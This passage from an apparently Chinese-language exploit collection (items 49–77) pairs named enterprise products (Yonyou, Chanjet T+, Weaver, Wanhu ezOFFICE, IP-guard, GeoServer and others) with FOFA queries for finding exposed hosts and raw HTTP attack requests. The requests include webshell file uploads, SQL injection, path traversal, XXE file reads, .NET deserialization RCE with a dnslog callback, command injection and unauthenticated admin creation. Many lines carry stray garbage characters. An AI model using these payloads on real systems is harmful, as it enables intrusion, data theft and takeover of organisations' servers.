8 B+ p7 v, X& W- P# k" KPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
7 v0 o" {( L. GHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ G) o! I2 J, h  jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 q  f' y: J2 V1 e, @* AAccept-Encoding: gzip, deflate
. p3 H8 g: H5 W! l+ j4 Q5 rContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
8 L7 b$ _7 z8 L5 d% W+ [Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
: e0 S9 H0 m! ]7 y% \upload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
: Z% J+ R, j  ^# V4 w* K: D: ?FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
# h# {: p' K( l4 l- E* W/ M+ T. kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
1 k  ?. N4 y+ y/ A, j4 E; p: t
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
5 G: A& [# ]& F' F% aContent-Disposition: form-data; name="upload"
& U! u3 t# @1 d8 S* h
upload
-----------------------------vvv3wdayqv3yppdxvn3w--
* s: s- y7 v% L9 J' O7 f8 k

5 s- q8 Y( L, {http://x.x.x.x/tmpfile/updB3CB.tmp.php
8 C; f. Z/ O3 O/ c3 b2 b
7 Y+ g1 Q! l7 i0 J9 E! F5 c50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
/ \' Q" a# m: K& I1 `! rPOST /course/filterRecords/ HTTP/1.1
- O! S, ]" }/ {! V- ?Host: x.x.x.x
& `  B& s9 @) @" d& hUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
) e  q. `/ O- s& x4 ~) A- }Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! R' n' {4 Z! D. Z' R
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
  q3 P$ r. ~: S# g  B9 h: `
5 |3 t, b# K, A9 I8 Q. V2 s
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
$ _. t. G" j8 C) j1 Q1 x& r- D" Q2 EFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ i3 e$ `/ ?4 b; \Accept-Encoding: gzip, deflate
5 F# G5 i( x) W& N, ]2 d# fAccept-Language: zh-CN,zh;q=0.9
# Z( W, E# k5 T3 ?0 K# d* uConnection: close


4 i! {; ^# H: C* H! @4 y8 D' H52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
- h- |# M8 [; S2 d6 A0 ~User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 c" X& u8 L% U' m* C  d! D1 VConnection: close
Content-Length: 87
4 }0 P( v, V3 Z% Y- DAccept: */*
1 P& y: ]  U7 W3 MAccept-Language: en
Content-Type: application/x-www-form-urlencoded
3 F, y" H/ b: p4 j8 yAccept-Encoding: gzip
2 ]2 y& y; Z% u6 l6 ?% K
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
8 c. A7 t4 o% \1 I: I& O) h
8 E$ K+ G9 i' |! S  n$ ^& O
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

* J. h. g, E( S) U! k! H
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
6 `  Q9 p$ h$ s, ~7 |FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
5 A/ h  T7 U5 ^7 n
+ k' E2 i% R$ S5 \5 L) o5 f" W; q" \
3 k7 y; G. s4 @  r9 F完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: q) R2 S; G* h& m% H% ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
& s# x8 [. X5 f' I) I4 oContent-Length: 593

1 l; h9 P. \7 N/ @) z{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
& Y  s9 m- A4 S/ o "MethodName":"Start",
  "ObjectInstance":{
1 P( e' G" Y1 J2 J2 L" T7 E; ?4 d   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
6 ]! }& d- v0 y8 {   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}
" R0 X* |2 G8 }) H
; s/ e3 B5 r( r! e& m/ N
第二步，访问如下url
8 V; v. E; n$ `# f9 I/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

1 o9 s  q% D! }# j  d) T' W! `
& n) k1 Y; {" H  H; t1 Q( j55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
7 a; l1 \1 c* i' F; p5 [1 {& L/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
8 d$ W. [7 x/ X& X  Y! N/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
8 k+ J. _' q" T* B" ^% G% RFOFA: app="畅捷通-TPlus"
9 k9 P; ~$ {- g5 f4 o- [' GPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
2 Y8 |& S' A3 u6 J5 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
  @" ~; }2 l. U9 ^7 a5 k, oContent-Type: application/json

{
7 r/ E6 U) D( I% ~, _$ R/ ~6 x  "storeID":{
- ^  X0 N5 f6 D" C2 u' u. h6 h8 k    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
9 s3 ^. b. G6 ?# z: O$ m   "MethodName":"Start",
# D/ r4 Y" l0 f: N% [/ f    "ObjectInstance":{
' O& Q# o5 E1 T' I8 I' x       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
- {* d' d, }5 m6 r           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 ^8 ~9 K. u9 \* Y5 g           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
8 I$ p' G/ h& o8 E    }
  }
}


' z6 e- B+ h2 ]57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
& d1 l0 K6 c; n* d% F! u: JGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
/ d1 X& O4 w' q7 e8 H( cAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
( m3 P1 R4 F+ z/ b9 g. nFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
& F( ^  I3 q" qAccept-Charset: utf-8
% ~6 }+ L/ S" ?* P: LAccept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
6 _' l: @' ~; A0 K% I8 wHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
+ |5 D2 `; h3 WAccept: */*
Accept-Language: en
2 A/ E9 Z5 A' }/ b0 v- M, e8 d0 WContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
4 l9 n2 ?. p7 ?, ~9 l( M) }& G
PAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
  D2 z) j; g9 v4 iHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 \: n% k4 Q$ j, I# Z0 AAccept-Encoding: gzip, deflate
( k  S) o: V% m1 H7 a: rAccept-Language: zh-CN,zh;q=0.9
3 ]: s1 ^" a' F* u2 d# z' SConnection: close

8 W4 w/ }$ ]/ @/ l- J7 v8 C& \* a
; N, r: v. H% C) i5 J6 N61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
+ P8 R% I' u% jFOFA: title="欢迎使用浙大恩特客户资源管理系统"
2 U( ?: n0 D, r; w9 @* T! ^POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ _0 b) u$ s/ }1 ^- LContent-Length: 27
+ Y" _3 Z- J! N8 E! FAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
% _! F% ^" p  w% z  Y
  [  m3 E; k5 B) J) }" b1 x8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
5 K& h7 R( ~# {" b5 ?5 TFOFA："IP-guard" && icon_hash="2030860561"
$ _! E3 I  F! xGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
& ?. c( e( D( z" \Host: x.x.x.x
" I) W0 q  N6 l2 Q1 cUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
# r' k/ q' X4 n; mConnection: close
9 i1 T/ v9 y- Q9 s1 z* w+ jAccept: */*
Accept-Language: en
Accept-Encoding: gzip

) j) L7 \0 c8 l8 h0 k7 f
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
* f% n: s  |! d* jHost: x.x.x.x
) I' S4 k8 }3 Y7 y1 G/ X9 W
. n) |$ g6 K  `# J
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
- t; P4 k: f. X1 b, e% K0 cFOFA：icon_hash="2030860561"
, j, s2 L& M# C6 _POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
- `3 P. v; _% t4 f, J: fHost: your-ip
! n! x7 f& M3 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
6 H& B& G6 t- A% LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 M8 f# C) b3 g8 r. V; \+ \, dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
! F- ^8 O6 v% x- W2 [- r$ g
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
  w6 {$ O' J+ m: M: ^& e+ XPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
/ Y6 @0 _& S7 O" _Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
# z* x  `# Q9 m0 d% d$ IConnection: close
Content-Length: 369
8 R1 g8 l- T3 oAccept: */*
% N1 N0 l9 o; @/ i, S$ RAccept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
9 W! O. L# k0 Y' T! V9 E
  x, Y+ p8 G) h8 O% C) O, ?5 o<?xml version="1.0" encoding="utf-8"?>
; Y, b" c& _5 G<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
# [2 A$ a4 l" a2 m& R4 B<soap:Body>
+ h; X. _6 c3 ^" [$ G4 z    <GetOSpById xmlns="http://tempuri.org/">
& @4 s4 V6 b% ]+ B      <sId>1';waitfor delay '0:0:5'--+</sId>
0 T& x" F+ r/ u    </GetOSpById>
- b4 D! C  [- Q  </soap:Body>
</soap:Envelope>
! D3 N" Y6 e, \' |/ G' l9 K: l* e' x
# K/ C; [& l7 d0 G# |& Z
' @9 }7 Z1 X8 f- _9 X* {65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
+ a* D# {( x4 ?% N" _* }  w3 R响应200即成功创建账号test123456/123456
! e+ B3 y; i# M1 @9 `8 z! xPOST /SystemMng.ashx HTTP/1.1
% X6 l: z' y1 C7 p+ P/ NHost:
, V. [- Y: R7 y% OUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
$ t! I3 F% z7 _. l5 @Accept-Encoding: gzip, deflate
Accept: */*
, i0 L; q- w$ _/ b$ _$ \. R$ j# ]Connection: close
9 X- w# W/ J) F7 t5 m( f( QAccept-Language: en
: M1 k) `4 }* K% d. v8 w0 G8 VContent-Length: 174
4 W3 c8 W5 s& k$ j% F' t
* L0 ?5 g  g+ \* S1 n0 N" ?operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

9 ~7 O) c& b9 r& J
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
1 S5 f# c6 F/ y7 c! I8 `3 VFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
2 I4 y1 z) J% [Accept-Language: en
' S- q1 T+ f3 h8 d9 X( `% P4 k" fAccept-Encoding: gzip


" [2 Y; P+ E$ t$ Z第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
, T; b8 A+ P. ^3 c& [+ U. B
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
$ Q& o0 p7 T% B- j4 d! [  CPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
  U* v7 L" _3 f# m1 c8 j; ?User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
$ e8 R9 j& U( ]! G& lContent-Length: 173
2 x. \8 T" d7 \. ~( D) f) fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
/ c0 j  E4 F. ~" H1 EAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
$ p$ o) z6 Z, ]( X/ V0 CConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

0 d8 c, ?# i- X--ufuadpxathqvxfqnuyuqaozvseiueerp
* P$ x* H2 a0 _Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
  Z8 v7 E' _  S; u. |1 M

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
6 Z: D) A( s- d$ M: s
68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
; u& u" V1 e2 [8 c& a) uHost: {{host}}
. p% G3 Z( ?- ~$ A2 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
2 _- y* N; K. Z* A% x* v5 L/ jAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
. M+ I2 `/ N( W. s0 J- Z- `7 {Accept-Encoding: gzip, deflate
4 i' |6 k+ z, Y! u" ]Accept-Language: zh-CN,zh;q=0.9
* h8 C1 |0 ^. oConnection: close

$ B$ X5 `/ u1 m: r% u) l6 K' m3 y
0 `4 r) }2 l4 H! R3 c, Z9 S1 q69. 万户 ezOFFICE contract_gd.jsp SQL注入
4 f3 i" V+ X, K2 z) ]FOFA：app="万户ezOFFICE协同管理平台"
) \3 R$ T7 k5 P2 EGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
" h: V0 i. G2 j0 |/ y1 Z; |User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
( M2 Y1 M9 d! O. C: ?6 m' f8 C1 jAccept: */*
% ~6 ]. X6 z' d' y( X1 sConnection: keep-alive
& o7 U, k3 p: X+ e1 n$ j

70. 万户ezEIP success 命令执行
) g$ B5 Z: {+ v* Z3 k! zFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
7 t! A6 `, J# t+ s  aHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
. r! v0 \: N# q7 e" ]8 [Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD

$ s% P8 F( O, a, r1 f! [' K
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
7 O) X+ {& ]3 T" X& v6 ], N& dFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
- R/ G) e& X& L1 [3 L- YUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
& R/ K/ E& Y4 q' m* lConnection: close
% X; y7 r! D! O3 s) j% X2 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

/ m  F$ C# V2 O- u0 P% A
  n5 i3 E' y+ S, c72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
3 J% F- G: k( E/ ?! A/ w) e. yConnection: close
% a3 W; s- w# i, q% rContent-Length: 583
) [2 S+ [8 M) u- x* BContent-Type: application/x-www-form-urlencoded
* e2 m4 |0 ~/ q# J0 \Accept-Encoding: gzip
/ W/ G- C7 Q' p; i8 T" @
2 Y# Q# C' \2 K9 |1 O, GS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
6 E3 J  P- T& z' VHost:
3 ^. f% p, G! W6 i5 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
; V- i& e! \/ w: W* MConnection: close
Content-Type: application/xml
9 a7 n* n& J2 B$ e$ N2 ySL-CE-SUID: 3
5 ?/ V' o* j9 d, L
7 y, @' [4 j0 v! ?, f) ?$ iPAYLOAD

9 t5 n' V2 h" C1 m* F7 @
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
5 l8 A+ B5 Z, d( F& ^$ x% SPAYLOAD
% r2 M& k9 u* t. n: F5 r( Q  W+ F
2 x6 s# E$ B4 y" ^5 F3 W) E0 P75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
) U. o0 M7 F) n0 Z# j+ _% {# eGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
3 b8 F% ^5 M5 t7 i5 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, v3 U: k9 E( S: x1 ~Connection: close
Accept: */*
Accept-Language: en
; K8 R: r# a" W1 ^7 H' LAccept-Encoding: gzip
- u1 D' G3 e' {: ]& T- F) ?8 p/ W* c

GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
( b3 g; Z0 ?: z8 H- u2 z$ \
# f8 _5 c: m! A( S5 c3 t
7 i$ X  l4 B& O/ j. J7 a76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
7 y" P+ l- X) ?  F# VPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
) Y* i5 T4 Z$ w$ t( a! w: n* V1 T  DContent-Length: 211
9 W  a% ^( e$ d# r1 M+ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
- W' v% d& |( Z, M7 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" H) |4 E- @* ECookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
6 Q5 J* y, v$ @9 p5 A4 C: FUpgrade-Insecure-Requests: 1
; D, u+ ~% }# o! y+ n
' h2 e- d! q9 }3 x; U{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
6 G3 J: \+ e2 h8 w& @- S  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
  T6 D% L8 E5 h9 `

# p$ ?5 e4 S# ~- Q3 J7 E1 bGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
9 y( V6 b- v, j1 [& nHost: x.x.x.x
- `/ o8 d( A( M6 i4 u% x  G- a/ S


77. F22服装管理软件系统UploadHandler.ashx任意文件上传
/ P: t* \) f6 N0 _: \- X3 ?; kFOFA：body="F22WEB登陆"
5 W+ D3 b8 X0 m( {POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
" @6 a& g7 q* ?8 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 o3 }/ e" s) }/ P; @% b/ BConnection: close
6 D6 a  a5 ]% P: z0 J2 z; aContent-Length: 433
Accept: */*
* W  E2 u! ?/ R; tAccept-Encoding: gzip, deflate
3 Q$ n6 R3 I" B# l; yAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
- O' g/ c' o, A+ n
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
/ i" ~, g8 b3 a7 h- EContent-Type: application/octet-stream
: `. {) H5 Y0 o1 h/ ^
hello1234567
